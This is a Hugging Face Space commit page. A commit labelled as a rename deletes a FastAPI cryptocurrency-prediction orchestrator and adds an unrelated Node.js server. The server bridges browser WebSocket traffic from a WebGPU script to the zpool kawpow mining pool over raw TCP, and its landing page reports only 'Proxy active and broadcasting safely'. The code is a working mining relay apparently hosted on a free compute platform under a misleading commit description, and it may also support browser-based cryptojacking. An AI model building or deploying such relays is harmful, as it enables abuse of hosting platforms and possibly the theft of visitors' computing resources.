Spaces:
Sleeping

PERDYPTO commited on
Commit
9b64ec8
·
verified ·
1 Parent(s): 0433eaa

Rename main.py to server.js

Browse files
Files changed (2) hide show
  1. main.py +0 -204
  2. server.js +72 -0
main.py DELETED
@@ -1,204 +0,0 @@
1
- import asyncio
2
- from contextlib import asynccontextmanager
3
- from typing import Dict, Optional
4
-
5
- import httpx
6
- from fastapi import FastAPI, HTTPException, Query, Body
7
- from fastapi.middleware.cors import CORSMiddleware
8
-
9
- from constants import (
10
- DEFAULT_COINS, PRICE_SERVICE_URL, NEWS_SERVICE_URL,
11
- CRYPTO_AI_SERVICE_URL, CACHE_SERVICE_URL,
12
- REASONING_SERVICE_URL
13
- )
14
- from orchestrator import orchestrate, fetch_live_price, fetch_all_live_prices, check_cache
15
- from models import (
16
- OrchestrationRequest, OrchestrationResult,
17
- PriceData, BulkPriceResponse, ErrorResponse
18
- )
19
-
20
-
21
- @asynccontextmanager
22
- async def lifespan(app: FastAPI):
23
- """Manage shared httpx.AsyncClient with enough budget for reasoning fallback."""
24
- app.state.client = httpx.AsyncClient(timeout=420.0)
25
- yield
26
- await app.state.client.aclose()
27
-
28
-
29
- app = FastAPI(title="Perdypto Orchestrator", lifespan=lifespan)
30
-
31
- app.add_middleware(
32
- CORSMiddleware,
33
- allow_origins=["*"],
34
- allow_credentials=True,
35
- allow_methods=["*"],
36
- allow_headers=["*"],
37
- )
38
-
39
-
40
- def _find_coin_by_id(coin_id: str) -> Optional[dict]:
41
- for coin in DEFAULT_COINS:
42
- if coin["id"] == coin_id:
43
- return coin
44
- return None
45
-
46
-
47
- @app.get("/health")
48
- async def health_check():
49
- return {
50
- "status": "ok",
51
- "service": "orchestrator",
52
- "downstream": {
53
- "price": PRICE_SERVICE_URL,
54
- "news": NEWS_SERVICE_URL,
55
- "crypto_ai": CRYPTO_AI_SERVICE_URL,
56
- "cache": CACHE_SERVICE_URL,
57
- "reasoning": REASONING_SERVICE_URL
58
- }
59
- }
60
-
61
-
62
- @app.get("/coins")
63
- async def get_coins():
64
- return DEFAULT_COINS
65
-
66
-
67
- @app.get("/prices", response_model=BulkPriceResponse)
68
- async def get_live_prices():
69
- """Fetch current prices only. Does not call TA, news, cache, or reasoning services."""
70
- try:
71
- return await fetch_all_live_prices(app.state.client)
72
- except Exception as e:
73
- print(f"[ERROR] Live price fetch failed: {e}")
74
- raise HTTPException(
75
- status_code=503,
76
- detail=ErrorResponse(error="Live price fetch failed", detail=str(e)).model_dump()
77
- )
78
-
79
-
80
- @app.get("/price/{coin_id}", response_model=PriceData)
81
- async def get_live_price(coin_id: str):
82
- """Fetch current price only for one coin. Does not call TA, news, cache, or reasoning services."""
83
- coin = _find_coin_by_id(coin_id)
84
- if not coin:
85
- raise HTTPException(status_code=404, detail=f"Coin {coin_id} not found")
86
-
87
- try:
88
- return await fetch_live_price(app.state.client, coin)
89
- except Exception as e:
90
- print(f"[ERROR] Live price fetch failed for {coin_id}: {e}")
91
- raise HTTPException(
92
- status_code=503,
93
- detail=ErrorResponse(error="Live price fetch failed", detail=str(e)).model_dump()
94
- )
95
-
96
-
97
- @app.post("/predict", response_model=OrchestrationResult)
98
- async def predict(request: OrchestrationRequest):
99
- """Generate prediction for a single coin."""
100
- coin = _find_coin_by_id(request.coin_id)
101
- if not coin:
102
- raise HTTPException(status_code=404, detail=f"Coin {request.coin_id} not found")
103
-
104
- try:
105
- result = await orchestrate(app.state.client, coin, request.force_refresh)
106
- return result
107
- except Exception as e:
108
- print(f"[ERROR] Prediction failed for {request.coin_id}: {e}")
109
- raise HTTPException(
110
- status_code=503,
111
- detail=ErrorResponse(error="Prediction failed", detail=str(e)).model_dump()
112
- )
113
-
114
-
115
- @app.post("/predict/bulk", response_model=Dict[str, OrchestrationResult])
116
- async def predict_bulk(request: Dict = Body(...)):
117
- """Batch predictions for multiple coins with concurrency limiting."""
118
- coin_ids = request.get("coin_ids", [])
119
- force_refresh = request.get("force_refresh", False)
120
-
121
- if not coin_ids:
122
- raise HTTPException(status_code=400, detail=ErrorResponse(error="coin_ids required", detail=None).model_dump())
123
-
124
- # Validate coins first
125
- coins = [_find_coin_by_id(cid) for cid in coin_ids]
126
- valid_coins = [c for c in coins if c]
127
- if not valid_coins:
128
- raise HTTPException(status_code=404, detail=ErrorResponse(error="No valid coins found", detail=None).model_dump())
129
-
130
- # Semaphore to limit concurrent orchestrations (timeouts handled inside each orchestrate call)
131
- sem = asyncio.Semaphore(3)
132
-
133
- async def bounded_orchestrate(coin):
134
- async with sem:
135
- return await orchestrate(app.state.client, coin, force_refresh)
136
-
137
- tasks = [bounded_orchestrate(coin) for coin in valid_coins]
138
- results = await asyncio.gather(*tasks, return_exceptions=True)
139
-
140
- output = {}
141
- for coin, result in zip(valid_coins, results):
142
- if isinstance(result, Exception):
143
- print(f"[WARN] Bulk prediction failed for {coin['symbol']}: {result}")
144
- else:
145
- output[coin["id"]] = result
146
-
147
- return output
148
-
149
-
150
- @app.get("/predict/all", response_model=Dict[str, OrchestrationResult])
151
- async def predict_all(force_refresh: bool = Query(default=False)):
152
- """Generate predictions for all 10 default coins."""
153
- # Semaphore limits concurrency, timeouts are isolated inside each orchestrate() call
154
- sem = asyncio.Semaphore(3)
155
-
156
- async def bounded_orchestrate(coin):
157
- async with sem:
158
- return await orchestrate(app.state.client, coin, force_refresh)
159
-
160
- tasks = [bounded_orchestrate(coin) for coin in DEFAULT_COINS]
161
- results = await asyncio.gather(*tasks, return_exceptions=True)
162
-
163
- output = {}
164
- for coin, result in zip(DEFAULT_COINS, results):
165
- if isinstance(result, Exception):
166
- print(f"[WARN] Prediction failed for {coin['symbol']}: {result}")
167
- else:
168
- output[coin["id"]] = result
169
-
170
- return output
171
-
172
-
173
- @app.get("/predict/all/cache", response_model=Dict[str, OrchestrationResult])
174
- async def predict_all_cached():
175
- """Return only fresh cached predictions. Does not run price, TA, news, or reasoning pipeline."""
176
- sem = asyncio.Semaphore(10)
177
-
178
- async def bounded_cache_check(coin):
179
- async with sem:
180
- cache_resp = await check_cache(app.state.client, coin["id"])
181
- if cache_resp and cache_resp.found and cache_resp.is_fresh and cache_resp.data:
182
- return coin["id"], OrchestrationResult(
183
- prediction=cache_resp.data,
184
- from_cache=True,
185
- cache_expires_in=cache_resp.data.seconds_until_expiry
186
- )
187
- return coin["id"], None
188
-
189
- results = await asyncio.gather(
190
- *(bounded_cache_check(coin) for coin in DEFAULT_COINS),
191
- return_exceptions=True
192
- )
193
-
194
- output = {}
195
- for coin, result in zip(DEFAULT_COINS, results):
196
- if isinstance(result, Exception):
197
- print(f"[WARN] Cache preflight failed for {coin['symbol']}: {result}")
198
- continue
199
-
200
- coin_id, cached_result = result
201
- if cached_result:
202
- output[coin_id] = cached_result
203
-
204
- return output
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
server.js ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const http = require('http');
2
+ const net = require('net');
3
+ const WebSocket = require('ws');
4
+
5
+ // Hugging Face strictly listens on internal traffic port 7860
6
+ const PORT = 7860;
7
+ const POOL_HOST = 'kawpow.mine.zpool.ca';
8
+ const POOL_PORT = 3638;
9
+
10
+ const server = http.createServer((req, res) => {
11
+ res.writeHead(200, { 'Content-Type': 'text/plain' });
12
+ res.end('Proxy active and broadcasting safely.\n');
13
+ });
14
+
15
+ const wss = new WebSocket.Server({ server });
16
+
17
+ wss.on('connection', (ws) => {
18
+ console.log('Browser linked to cloud array. Spawning TCP socket to Zpool...');
19
+
20
+ // Open an direct TCP socket socket layer to the Zpool server architecture
21
+ const stratumSocket = new net.Socket();
22
+
23
+ stratumSocket.connect(POOL_PORT, POOL_HOST, () => {
24
+ console.log(`TCP Handshake complete with: ${POOL_HOST}:${POOL_PORT}`);
25
+ });
26
+
27
+ // Forward messages arriving from your Cloudflare Pages WebGPU script to Zpool
28
+ ws.on('message', (message) => {
29
+ try {
30
+ const dataStr = message.toString();
31
+ console.log(`[Browser -> Pool]: ${dataStr.trim()}`);
32
+ stratumSocket.write(dataStr + '\n');
33
+ } catch (err) {
34
+ console.error('Error handling WebSocket message frame:', err);
35
+ }
36
+ });
37
+
38
+ // Forward block jobs and share confirmations returning from Zpool to your browser
39
+ let buffer = '';
40
+ stratumSocket.on('data', (data) => {
41
+ buffer += data.toString();
42
+ const lines = buffer.split('\n');
43
+ buffer = lines.pop(); // Retain incomplete data fragments in buffer stream
44
+
45
+ for (const line of lines) {
46
+ if (line.trim()) {
47
+ console.log(`[Pool -> Browser]: ${line.trim()}`);
48
+ if (ws.readyState === WebSocket.OPEN) {
49
+ ws.send(line);
50
+ }
51
+ }
52
+ }
53
+ });
54
+
55
+ // Error handling safeguards
56
+ ws.on('close', () => {
57
+ console.log('Browser closed tab instance. Destroying pool socket pipeline.');
58
+ stratumSocket.destroy();
59
+ });
60
+
61
+ stratumSocket.on('close', () => {
62
+ console.log('Zpool stream connection dropped. Disconnecting client WebSocket.');
63
+ ws.close();
64
+ });
65
+
66
+ ws.on('error', (err) => console.error('WS Error:', err));
67
+ stratumSocket.on('error', (err) => console.error('TCP Socket Error:', err));
68
+ });
69
+
70
+ server.listen(PORT, '0.0.0.0', () => {
71
+ console.log(`Server executing compute bridge protocols on port ${PORT}`);
72
+ });